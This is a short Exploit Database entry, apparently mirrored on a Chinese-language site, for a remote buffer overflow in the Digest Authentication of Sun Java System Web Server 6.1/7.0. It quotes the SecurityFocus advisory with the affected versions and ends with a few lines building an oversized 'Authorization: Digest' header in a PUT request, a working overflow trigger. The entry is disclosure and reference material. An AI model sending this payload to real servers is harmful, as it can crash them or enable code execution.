Sun Java System Web Server 6.1/7.0 – Digest Authentication Remote Buffer Overflow

• Exploit Database
• 128 阅读

• 作者： Intevydis
  日期： 2010-01-21
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/33553/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17

  source: https://www.securityfocus.com/bid/37896/info   Sun Java System Web Server is prone to a buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.   Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.   The issues affects the following:   Sun Java System Web Server 7.0 without Update Release 8 Sun Java System Web Server 6.1 without Service Pack 12 Sun Java System Web Proxy Server 4.0 without Service pack 13   buf = "PUT / HTTP/1.0\n" buf += "Authorization: Digest " buf += "ABCD,"*1000 buf += "\n\n"